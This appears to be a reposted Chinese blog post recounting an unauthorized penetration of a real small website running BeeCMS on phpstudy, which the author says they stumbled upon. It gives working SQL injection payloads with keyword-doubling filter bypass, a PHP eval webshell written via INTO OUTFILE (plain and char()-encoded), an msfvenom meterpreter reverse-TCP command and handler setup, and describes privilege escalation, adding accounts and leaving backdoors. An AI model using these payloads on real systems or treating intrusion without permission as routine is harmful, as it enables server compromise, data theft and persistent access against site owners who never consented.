一、序言
前几天记录某一次无意点开的一个小网站的渗透过程,幸运的是搭建平台是phpstudy,cms是beecms,beecms有通用漏洞,然后去网上找了资料,成功getshell并获取服务器权限。
二、渗透过程
1. 无意点开一个网站,发现网站比较小,且看起来比较老,然后发现logo没有改,于是乎去百度搜索这个cms,发现有通用漏洞
Beecms 通用漏洞
- https://www.ohinge.cn/php/beescms_sqli.html
2. 这里运气比较好,没有更改后台地址,还是默认地址/admin/login.php
3. 通过通用漏洞发先后台管理处存在sql注入漏洞,直接输入admin’,然后就会报错,这里用万能密码不能登陆,看来还是得通过上面得通用漏洞来进行注入
4. 可以看到输入payload后,页面返回正常,从而可以判断有sql注入,这里采用双写进行绕过
5. 发现这个注入点后,就有各种各样的注入方式了,通过sql语句写入一句话,sqlmap一把梭,手工注入得到账号密码等等,怎么方便怎么来,这里我把几种方法都写一下,看看那种方法可以
方法一
1.通过post抓包sqlmap一把梭,dump出管理员账号密码,进后台找上传点
2.一把梭,发现并没有,使用脚本也没有绕过
方法二
1.通过burp抓包,写入一句话,payload:
- admin%27 un union ion selselectect 1,2,3,4,<?php @eval($_POST[123]);?> into outfile 'xm.php'#
发现写入失败,前面讲到有防护,这里通过hex编码或者char函数绕过
2.对shell部分进行编码
3.写入shell的payload为:注意:记得在编码转换的时候前面加0x或者直接用unhex函数,但是本次实验用unhex函数一直失败,所以在前面加0x,看到可以写入成功。
ps:这里的写入路径纯属盲猜,运气好,默认目录
4.用蚁剑连接,成功连接,至此getshell完毕,下来就是后渗透阶段,后面会讲
char函数绕过:mysql内置函数char()可以将里面的ascii码转换为字符串,payload为:
- admin' uni union on selselectect null,null,null,null,char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 99, 109, 100, 93, 41, 59, 63, 62) in into outoutfilefile 'C:/phpStudy/WWW/beescms/cmd.php'#
一样成功写入
1.写入成功后,菜刀可以连接,我们访问写入的文件,惊奇的发现竟然有admin,和一串md5码,大胆猜测可能是后台账号和密码,试一下
2.md5解密,wocao,成功登陆,然后就是后台找上传了
三、后渗透
通过whoami查看权限,发现是admin权限,但是不是最高权限,我们要提到最高权限去
方法一
1.通过msf生成木马提权,payload:
- msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe X > shell.exe
2.通过蚁剑上传木马,并执行。执行之前打开msf使用模块
- use exploit/multi/handler
设置相应参数,然后开始监听
2.不知道什么问题,用这个没有成功,那么只能通过大马提权了
方法二
1.上传大马,此处应该有狗或者盾之类的,用的免杀,成功上传
2.访问大马
3.这里提权方式很多,就不细说了,有大马之后很多操作都可以引刃而解了,开放端口,添加账号,留后门。。等等
4.创建admin权限账号之后,登陆服务器
四、一些其他的发现
通过扫描目录,还发现有phpmyadmin,可以爆破,这里我试了下竟然是弱口令,都是root,但是连接不上,只能通过phpmyadmin登陆,发现是低版本的phpstudy搭建的,这里就可以另一种思路,利用日志文件写入一句话getshell
五、总结
1.前台sql注入获取用户名密码,进入后台找上传
2.SQL注入语句写入一句话
3.phpmyadmin一句话getshell
4.上传大马提权
至此,渗透结束
- 文章转载于:https://blog.csdn.net/qq_42111373